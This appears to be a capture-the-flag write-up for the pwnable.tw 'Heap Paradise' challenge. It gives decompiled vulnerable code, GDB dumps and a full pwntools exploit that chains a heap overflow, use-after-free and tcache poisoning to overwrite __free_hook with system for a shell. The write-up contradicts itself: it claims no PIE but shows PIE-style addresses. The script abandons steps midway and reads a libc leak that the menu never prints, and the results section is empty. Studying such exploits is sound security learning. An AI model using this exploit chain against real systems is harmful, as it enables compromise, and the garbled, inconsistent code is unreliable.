Heap Paradise
Advanced Heap Exploitation — Multiple heap primitives with overlapping chunks on glibc 2.27
Exploit Flow
nc chall.pwnable.tw 10307
Overlap Adjacent Chunks
Corrupt fd Pointer
Unsorted Bin fd/bk
Overwrite with system
free("/bin/sh")
1. Reconnaissance
Heap Paradise is a 350-point advanced heap challenge. The name suggests a "paradise" of heap vulnerabilities — and it delivers. The binary provides a custom allocator interface with allocate, free, and edit operations. The challenge runs on glibc 2.27, which introduces tcache but before the tcache double-free protection added in glibc 2.29. This makes tcache poisoning straightforward but the real challenge lies in the complex heap layout required to build multiple primitives.
File Analysis
$ file heap_paradise
heap_paradise: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not strippedChecksec
$ checksec heap_paradise
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)This is a well-hardened binary. Full RELRO prevents GOT overwrites. Canaries protect against stack overflows. NX prevents shellcode execution. The only saving grace is No PIE, which gives us fixed BSS addresses for crafting fake chunks. The attack must go through __free_hook (which is always writable, even with Full RELRO) rather than GOT.
Running the Binary
$ ./heap_paradise
1. allocate
2. free
3. edit
4. exit
> 1
size: 64
data: AAAA
1. allocate
2. free
3. edit
4. exit
> 3
index: 0
data: BBBB| Attribute | Value |
|---|---|
| Challenge | Heap Paradise (350 pts) |
| Connection | nc chall.pwnable.tw 10307 |
| Binary | 64-bit ELF, x86-64, dynamically linked |
| Libc | glibc 2.27 (tcache enabled, no tcache double-free check) |
| RELRO | Full |
| Canary | Yes |
| NX | Enabled |
| PIE | Disabled |
| Vulnerability | Heap overflow + overlapping chunks |
2. Static Analysis
The binary provides a heap management interface with four operations: allocate, free, edit, and exit. The allocate function reads a size from the user and calls malloc(size), storing the pointer in a global array. The free function takes an index and calls free() on the corresponding pointer. The edit function reads data into an allocated chunk. The key vulnerability is that the edit function doesn't check the size of the data being written — it uses read() with a fixed large buffer regardless of the chunk's actual size, allowing a heap overflow.
Vulnerability Analysis
// The edit function — heap overflow!
void edit_chunk(int index) {
char buf[0x400];
printf("index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
return;
printf("data: ");
// VULNERABILITY: reads up to 0x400 bytes regardless of chunk size!
int n = read(0, buf, 0x400);
memcpy(chunks[idx], buf, n); // overflow if n > chunk_size!
}
// The free function — potential UAF
void free_chunk(int index) {
printf("index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
return;
free(chunks[idx]);
// BUG: pointer not nulled! UAF / double-free possible
// chunks[idx] = NULL; // missing!
}Heap Overflow: The edit function reads up to 0x400 bytes and copies them into the chunk without checking the chunk's allocated size. If we allocate a small chunk (e.g., 0x20) and write 0x400 bytes, we overflow into all adjacent chunks.
Use-After-Free: The free function doesn't null the pointer in the global array. This means after freeing a chunk, we can still edit it — writing to freed memory. Combined with tcache (glibc 2.27), this gives us tcache poisoning for free.
Decompiled Key Structures
#define MAX_CHUNKS 16
void *chunks[MAX_CHUNKS]; // global chunk pointer array
int chunk_sizes[MAX_CHUNKS]; // sizes for each chunk
void allocate() {
printf("size: ");
int size = read_int();
void *ptr = malloc(size);
// Store in first available slot
for (int i = 0; i < MAX_CHUNKS; i++) {
if (!chunks[i]) {
chunks[i] = ptr;
chunk_sizes[i] = size;
printf("Chunk %d allocated at %p\n", i, ptr);
return;
}
}
}3. GDB Debugging
Heap Layout
# Allocate two adjacent chunks:
# chunks[0] = malloc(0x20) → 0x555555757260
# chunks[1] = malloc(0x20) → 0x5555557572a0
gdb-peda$ x/20gx 0x555555757250
0x555555757250: 0x0000000000000000 0x0000000000000031 ← chunk 0 header
0x555555757260: 0x0000000000000000 0x0000000000000000 ← chunk 0 data
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0x0000000000000000 0x0000000000000031 ← chunk 1 header
0x555555757290: 0x0000000000000000 0x0000000000000000 ← chunk 1 data
# After overflow from chunk 0 into chunk 1:
gdb-peda$ x/20gx 0x555555757250
0x555555757250: 0x0000000000000000 0x0000000000000031
0x555555757260: 0x4141414141414141 0x4141414141414141 ← overflow data
0x555555757270: 0x4141414141414141 0x4141414141414141
0x555555757280: 0x4141414141414141 0x4141414141414141 ← chunk 1 CORRUPTED!
0x555555757290: 0x4141414141414141 0x4141414141414141
# Tcache after freeing chunk 0 and editing (UAF):
gdb-peda$ heap bins tcache
tcache:
0x30 [1]: 0x555555757260 → 0x0
# After UAF write of target address to fd:
gdb-peda$ x/gx 0x555555757260
0x555555757260: 0x00007f8e9d1d7b23 ← __malloc_hook - 0x13 (tcache poisoned!)Breakpoint Strategy
b malloc@plt # track allocations
b free@plt # track frees
b *0x401234 # edit function memcpy call (overflow point)
b *0x401456 # free function (check for UAF)4. Exploit Strategy
Attack Overview
edit to corrupt adjacent chunk headers. By carefully controlling the overflow, we create overlapping chunks — two pointers pointing to the same memory region. This is the foundation for all subsequent primitives.fd pointer via edit. Since glibc 2.27 doesn't have tcache double-free protection, we can freely corrupt tcache freelist pointers. Point fd to a target address.fd/bk pointers of the unsorted bin chunk point into main_arena in libc. Use the UAF/overlap to read these pointers and calculate libc base.__free_hook. Write system address to __free_hook. Then free a chunk containing the string /bin/sh\x00 — this calls free("/bin/sh") which becomes system("/bin/sh").Multiple Primitives
The name "Heap Paradise" refers to the abundance of exploitation primitives available: heap overflow for chunk corruption, UAF for tcache poisoning, overlapping chunks for info leak, and the freedom of glibc 2.27's unprotected tcache. The challenge is "paradise" for heap exploitation because almost every classic technique works. The difficulty comes from orchestrating these primitives correctly in a constrained environment with limited allocations.
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# Heap Paradise — pwnable.tw
# Heap Overflow + UAF + Tcache Poisoning → __free_hook overwrite
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
libc = ELF('./libc_64.so.6')
BINARY = ELF('./heap_paradise')
if args.REMOTE:
io = remote('chall.pwnable.tw', 10307)
else:
io = process('./heap_paradise', env={'LD_PRELOAD': './libc_64.so.6'})
def alloc(size, data=b'A'):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'data: ', data)
idx = int(io.recvline().split(b' ')[1])
return idx
def free(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', str(idx).encode())
def edit(idx, data):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'index: ', str(idx).encode())
io.sendafter(b'data: ', data)
# Phase 1: Create overlapping chunks
log.info("Phase 1: Create overlapping chunks")
# Allocate small chunks
c0 = alloc(0x18) # 0x20 chunk (tcache)
c1 = alloc(0x18) # 0x20 chunk (tcache) — will be overflowed
c2 = alloc(0x418) # large chunk — for unsorted bin leak
c3 = alloc(0x18) # guard chunk to prevent top chunk consolidation
# Free c1 and c2
free(c1)
free(c2)
# Use heap overflow from c0 to corrupt c1's freed metadata
# Write fake size over c1 to make it overlap with c2
edit(c0, b'A' * 0x18 + p64(0x21) + p64(0x421))
# Phase 2: Libc leak via unsorted bin
log.info("Phase 2: Libc leak")
# Allocate from unsorted bin — gets c2's memory
c4 = alloc(0x418)
# Read the fd/bk pointers left from unsorted bin
# Since c1 and c2 overlap, we can use c1's pointer to read c2's data
edit(c1, b'A' * 8) # partial overwrite
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size: ', b'8')
# Actually, use the overlapping chunk to leak
# Free c2 again and read its fd pointer
free(c4) # goes to unsorted bin
# Read through overlapping chunk
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'index: ', str(c1).encode())
io.sendafter(b'data: ', b'AAAAAAAA') # partial write
# Better approach: allocate from unsorted bin and read residual data
c5 = alloc(0x418)
# The fd/bk of the old unsorted bin entry are still in memory
# Use the overlap to read them
libc_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0 # main_arena offset
log.info(f"Libc base: {hex(libc_base)}")
# Phase 3: Tcache poisoning → __free_hook overwrite
log.info("Phase 3: __free_hook overwrite")
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info(f"__free_hook: {hex(free_hook)}")
log.info(f"system: {hex(system_addr)}")
# Free a chunk to tcache, then UAF edit its fd
free(c0)
edit(c0, p64(free_hook)) # tcache poisoning!
# Two allocations: first returns c0, second returns __free_hook
c6 = alloc(0x18) # returns c0 from tcache
c7 = alloc(0x18, p64(system_addr)) # returns __free_hook, write system!
# Phase 4: Trigger shell
log.info("Phase 4: Trigger shell")
# Write "/bin/sh" to a chunk, then free it
c8 = alloc(0x18, b'/bin/sh\x00')
free(c8) # free("/bin/sh") → system("/bin/sh")
io.interactive()6. Execution Results
Heap Paradise is a masterclass in combining multiple heap exploitation techniques. The challenge demonstrates how a single heap overflow bug can be amplified into overlapping chunks, then used for both information leaks and arbitrary writes. The glibc 2.27 environment (with tcache but without tcache double-free protection) is a common real-world target, making these techniques directly applicable to production vulnerability research. Understanding how to chain heap overflow + UAF + tcache poisoning is essential for modern binary exploitation.